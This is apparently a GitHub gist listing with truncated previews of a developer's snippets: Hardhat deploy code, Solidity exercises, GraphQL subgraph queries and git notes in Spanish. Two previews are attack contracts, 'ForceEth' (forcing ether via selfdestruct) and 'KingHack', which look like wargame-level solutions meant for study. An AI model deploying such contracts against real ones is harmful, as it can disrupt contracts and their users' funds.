This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import {HardhatRuntimeEnvironment} from 'hardhat/types'; | |
import { DeployFunction } from 'hardhat-deploy/types'; | |
import { ethers } from 'hardhat'; | |
const func: DeployFunction = async function (hre: HardhatRuntimeEnvironment) { | |
const { deploy } = hre.deployments; | |
const { deployer } = await hre.getNamedAccounts(); | |
const VALUE_LOCKED = hre.ethers.parseEther("0.01"); | |
const UNLOCK_TIME = 10000; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.17; | |
contract ArraysExercise { | |
uint[] public numbers = [1,2,3,4,5,6,7,8,9,10]; | |
address[] senders; | |
uint[] timestamps; | |
function getNumbers() public view returns (uint[] memory) { | |
return numbers; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function encodeEIP712Hash() public pure returns (bytes memory) { | |
Order memory order = Order({ | |
salt: 45118768841948961586167738353692277076075522015101619148498725069326976558864, | |
makerAsset: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, | |
takerAsset: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, | |
maker: 0x00000000219ab540356cBB839Cbe05303d7705Fa, | |
receiver: 0x0000000000000000000000000000000000000000, | |
allowedSender: 0x0000000000000000000000000000000000000000, | |
makingAmount: 1000000000000000000, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { request, gql } = require("graphql-request"); | |
// Function to query the subgraph and retrieve zkPrefrences for the given user | |
async function getZkPreferencesForUserAccount(userAccount) { | |
const endpoint = | |
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/bb-wallets"; | |
const query = gql` | |
query MyQuery($userAccount: Bytes) { | |
account(id: $userAccount) { | |
preferences |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { request, gql } = require("graphql-request"); | |
// Function to query the subgraph and retrieve babies for the given relationship | |
async function getBabiesOfRelationship(relationAddress) { | |
const endpoint = | |
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/bb-relationships"; | |
const query = gql` | |
query MyQuery($relationAddress: Bytes) { | |
relationship(id: $relationAddress) { | |
creature |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { request, gql } = require("graphql-request"); | |
// Function to query the subgraph and retrieve 6551-accounts for the given user | |
async function checkAccountForUser(contract, id, chainId) { | |
const endpoint = | |
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/mock-wallets"; | |
const query = gql` | |
query MyQuery($contract: Bytes, $id: BigInt, $chainId: BigInt) { | |
accounts( | |
where: { | |
and: [ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
WINDOWS | |
Open the Windows File Explorer (or use the shortcut WIN + E) | |
GIT | |
> descartar todos tus commits en local y volver al ultimo push visible en github: | |
git reset --hard origin/main | |
> volver a un commit anterior: | |
git checkout b29e5d6 (el codigo del commit donde quieras ir) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.13; | |
/*How to Sign and Verify a message | |
0. Create message to sign | |
1. Get message hash by calling getMessageHash() | |
2. Eth sign the message hash by calling getEthSignedMessageHash() | |
3. On the browser, unlock MetaMask account typing ethereum.enable() | |
4. Using browser, sign the message hash: | offchain to keep your private key secret | |
account = "copy paste account of signer here" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract ForceEth { | |
function forceEth() external payable { | |
address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5; | |
selfdestruct(attackContract); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract KingHack { | |
function kingHack(address payable _to) public payable { | |
(bool sent, ) = _to.call.value(msg.value)(""); | |
require(sent, "Failed to send value!"); | |
} | |
function seedEth() public payable { |
NewerOlder